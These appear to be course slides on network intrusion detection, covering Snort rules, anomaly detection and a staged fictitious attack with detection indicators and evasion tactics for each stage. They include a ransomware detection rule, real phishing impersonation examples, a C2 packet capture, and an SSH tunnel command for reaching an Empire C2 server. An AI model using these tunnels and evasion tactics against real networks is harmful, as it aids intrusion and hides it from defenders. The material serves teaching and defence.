
Network intrusion detection methods & how to evade them

Created by Mary McCready & Rohith Krishna Papani CSE 548 - Advanced Network Security

Network Intrusion Detection System (NIDS) Overview



Types:

- Signature-based
- Stateful protocol analysis
- Behavioral-based
- Anomaly-based
- Heuristic-based

Image Source: https://www.geeksforgeeks.org/intrusion-detectiosystem-ids/

Signature vs. Anomaly-based detection

Signature-based NIDS


- Most common
- Compares incoming internet traffic against a known database of attack patterns and signatures
- Unable to detect novel attacks or variants of current attacks
- Needs to be updated frequently to keep up with latest threats
- Resource intensive and slows down the network process

Anomaly-based NIDS


- Establishes a baseline for network behavior using AI/ML and looks for deviations from the baseline
- Requires establishment and maintenance of a baseline
- False positives on new, yet valid behaviors
- Costly and complex to implement

Most effective when combined.

Primer on Snort Rules: Rule Header



Primer on Snort Rules: Rule Options



```
msg:"MALWARE-OTHER Win.Ransomware.Agent payload download attempt";
flow:to_client,established;
file_data; content:"secret_encryption_key",fast_pattern,nocase;
service:http, imap;
classtype:trojan-activity;
sid:1;
```

Image

source:https://docs.snort.org/rules/

Recent changes to Snort3 rules

- New developments in Snort allow scanning of all source and destination IPs and ports available without needing to explicitly mention them.
- Snort can now process application layer protocols like HTTP, SMTP, POP3, IMAP, SMB, FTP
- The new file identification rules are better than the previous version because they can identify files by the contents of the file and then divide the file type.

More in detail at: https://docs.snort.org/rules/headers/new_header_types

ML for Anomaly detection





Figure 5. Experimental flow.

Image Source: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9610873/bin/sensors-22-07999-g005.jpg

Review of Offensive Tactics & Techniques



Fictitious attack that can be detected by NIDS

- 1. Attacker does **network service discovery** to gather information
- 2. Attacker sends a **phishing** email to victim
- 3. Victim clicks the link which executes malicious code
- 4. The malicious code helps establish an encrypted C2 channel
- 5. Cover C2 channel tracks with traffic signaling
- 6. Manipulate DNS with AiTM to get user credentials & session cookies
- 7. Use valid (stolen) accounts to log in remotely via SSH
- 8. Collects data from a **network shared drive**
- 9. Steals that data through exfiltration over C2 channel
- **10. Denial of service** on critical network services as a grand exit

Discovery: Network Service Discovery

Network Traffic Flow indicators:

- uncommon data flows
- port scans
- unusually high failed login attempts, logins from suspicious IPs
- DNS requests
- Custom protocols or protocol anomalies

- Stealth scanning
- Slow scanning
- Encrypted traffic
- Customized scans

Initial access: Phishing attachment/link

Network Traffic Content indicators:

- email with a malicious link or attachment
- file type, size, names
- unusual email client
- sender reputation
- sender's name and address don't match
- empty TO-field
- use of homoglyphs
- email header anomalies
- sender email is from a public domain

Network Traffic Flow indicators:

- non-standard port use
- suspicious path between sender and receiver

Evasion Techniques:

- obfuscated URLs or domain
- encrypting or obfuscating the payload
- impersonation
- social engineering techniques to trick users into ignoring warning messages

Latin characters







Unicode Latin IPA Extension homoglyph counterparts







Image source: https://www.insightportal.io/news/all-news/homoglyph-characters-being-used-for-malicious-web-domains

Evasion: Impersonation

Type of Impersonation	Forge Name	Forge Email	Real Life Example
Address Spoofer	May or may not	YES	Date: Fri, 14 Aug 2015 12:04:00 -0500 (CDT) From: "A Alivisatos" <aalivisatos@lbl.gov> To: XXXXXX@lbl.gov Subject: Good Morning Reply-To: aalivisatoslbl@mail.com Send me the balance on all our accounts as of today's date. Thanks</aalivisatos@lbl.gov>
HistoricallyNewAttacker	Unseen Name	Unseen Email (@lbl.gov = forged)	Date: Tue, 08 Nov 2016 17:38:28 +0000 From: Computer Maintenance <compmaint@lbl.gov> To: afXXXXXXXh@lbl.gov Subject: Urgent: Email reactivation</compmaint@lbl.gov>
NameSpoofer	Yes	Yes	From: Steven Chu <david@huismanauction.com> Date: January 9, 2017 at 11:22:42 PM PST To: undisclosed-recipients:; Subject: Steven Chu shared a File with you</david@huismanauction.com>

Image Source: https://old.zeek.org/brocon2017/slides/spear_phish.pdf

Execution: User execution of malicious link/file

Network Connection Creation indicators:

- new connections to malicious destinations
- multiple network connections or redirects
- outbound traffic from the victim's device to the phishing website or malicious server

Network Traffic Content indicators:

- in use of files that do not normally initiate network connections
- malicious bash code execution patterns
- outbound traffic from the victim's device to the phishing website or malicious server
- multiple network connections or redirects
- non-standard port use
- suspicious path between sender and receiver

- Encrypted traffic
- Protocol Obfuscation
- Traffic fragmentation
- Timing-based evasion
- DNS Tunneling

Evasion: DNS tunneling

DNS tunneling




Image Source: DNS-tunneling-2048x976.png

Command & Control: Encrypted Channel

Network Traffic Content indicators:

encrypted payloads

Network Traffic Flow indicators:

- use of non-standard protocols
- protocol mismatch at ports

- Use of non-standard ports
- Mimic legit traffic
- Traffic obfuscation
- Custom protocols

Evasion: Custom C2 Protocols

```
20:31:41.525186 IP localhost.https > localhost.53920: Flags [S.], seq 154353363
7, ack 1419599177, win 43690, options [mss 65495, sackOK, TS val 1128534840 ecr 1
128534840, nop, wscale 71, length 0
        0x0000: 4500 003c 0000 4000 4006 3cba 7f00 0001 E..<..@.@.<....
        0x0010: 7f00 0001 01bb d2a0 5c00 7445 549d 5d49
                                                        ....\.tET.]I
                 a012 aaaa fe30 0000 0204 ffd7 0402 080a ....0......
        0x0020:
        0x0030: 4344 1338 4344 1338 0103 0307
                                                         CD.8CD.8....
20:31:41.525201 IP localhost.53920 > localhos(.https) Flags [.], ack 1, win 342
 options [nop, nop, TS val 1128534840 ecr 1128534840], length 0
        0 \times 00000:
                4500 0034 4e71 4000 4006 ee50 7f00 0001
                                                         E..4Nq@.@..P....
        0x0010: 7f00 0001 d2a0 01bb 549d 5d49 5c00 7446 ......T.]I\.tF
        0x0020:
                 8010 0156 fe28 0000 0101 080a 4344 1338 ...V.(.....CD.8
        0x0030:
                 4344 1338
                                                         CD.8
20:31:41.525257 IP localhost.53920 > localhost (https: Flags [P.], seg 1:47, ack
1, win 342, options [nop, nop, TS val 1128534840 ecr 1128534840], length 46
        0x0000:
                 4500 0062 4e72 4000 4006 ee21 7f00 0001
                                                         E..bNr@.@..!...
                                                          .....T.]I\.tF
        0 \times 0010:
                7f00 0001 d2a0 01bb 549d 5d49 5c00 7446
        0x0020:
                 8018 0156 fe56 0000 0101 080a 4344 1338
                                                          ...V.V. CD.8
        0x0030:
                4344 1338 596f 7520 6861 7665 206e 6f20 ØD.8You.have.no.
        0x0040:
                 6368 616e 6365 2074 6f20 7375 7276 6976 chance.to.surviv
        0 \times 0050:
                 6520 6d61 6b65 2079 6f75 7220 7469 6d65
                                                         e.make.vour.time
        0x0060:
                 2e0a
```

Persistence: Traffic Signaling (port knocking)

Network Traffic Content indicators:


- packets to detect application layer protocols are non-standard
- Unusual flags

Network Traffic Flow:

- Connection attempts to closed ports
- Suddenly opened ports
- unexpected protocol standards and traffic volume

- Encryption
- Obfuscation
- Timing
- Use of multiple IPs
- Looking legitimate

Persistence: Traffic Signaling (port knocking)



TecAdmin.net




Image source:

https://tecadmin.net/secure-ssh-connections-with-port-knocking-linux/

Credential Access: Adversary-in-the-middle

Network Traffic Content indicators:


 anomalies associated with AiTM behavior

Network Traffic Flow indicators:

- network traffic from unknown/unexpected hardware
- MAC addresses, DHCP
- events associated with network protocols
- suspiciously amped network flow through a device

- Encrypted traffic
- Legitimate access
- Non-standard ports
- Protocol mismatches
- Small, targeted attacks

Credential Access: Adversary-in-the-middle



https://www.armorblox.com/blog/microsoft-phishing-attack/

Credential Access: Adversary-in-the-middle




Image source:

https://www.armorblox.com/blog/microsoft-phishing-attack/

Lateral Movement: Remote Services/SSH

Network Connection Creation indicators:

 new network connections (typically port 22) that may use valid accounts to log into remote machines using SSH

Evasion Techniques:

- Encrypted traffic
- Use of legitimate access
- Non-standard ports
- Encrypted SSH tunnels

SSHazam

empire-server.corp.com

empire-server.corp.com

SSH Tunnel

ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430

victim

Empire connects to http://localhost:5430

Collection: Data from network shared drive

Network Connection Creation indicators:

- newly constructed network
- connections that may search network shares

Network Traffic Content indicators:

- packet inspection for protocols that do not follow expected standards and traffic flows
- unexpected files (a .pdf ,doc file)
 trying to interact with the network
 shares
- abnormal and unexpected access to the network shares

- Legitimate access
- Data encryption
- Hide data in legitimate traffic
- Mimic legit traffic patterns
- Steganography

Exfiltration: Exfil over C2 Channel

Network Connection Creation indicators:

 newly constructed network connections by untrusted hosts

Network Traffic Content indicators:

non-standard traffic

Network Traffic Flow indicators:

 uncommon data flows, such as large amount of data

- Data fragmentation
- Data encryption
- Hiding in legitimate traffic
- Mimic legit traffic patterns
- Use non-standard ports

Impact: Network Denial of Service

Network Traffic Flow indicators:

- uncommon data flows
- Processes using the network that normally do not normally have network communication or have never been seen before
- Sudden increase in ICMP, SYN, TCP, SYN-FIN packets

- Fragmentation
- Traffic variation
- Slow-rate attack

Evasion: Slow-rate Network Denial of Service




Image source: https://ars.els-cdn.com/content/image/1-s2.0-S0167404817301980-cose1205-fig-0006.jpg

Don't get caught.



Image Source: https://dribbble.com/shots/11012025-Evil-Hacker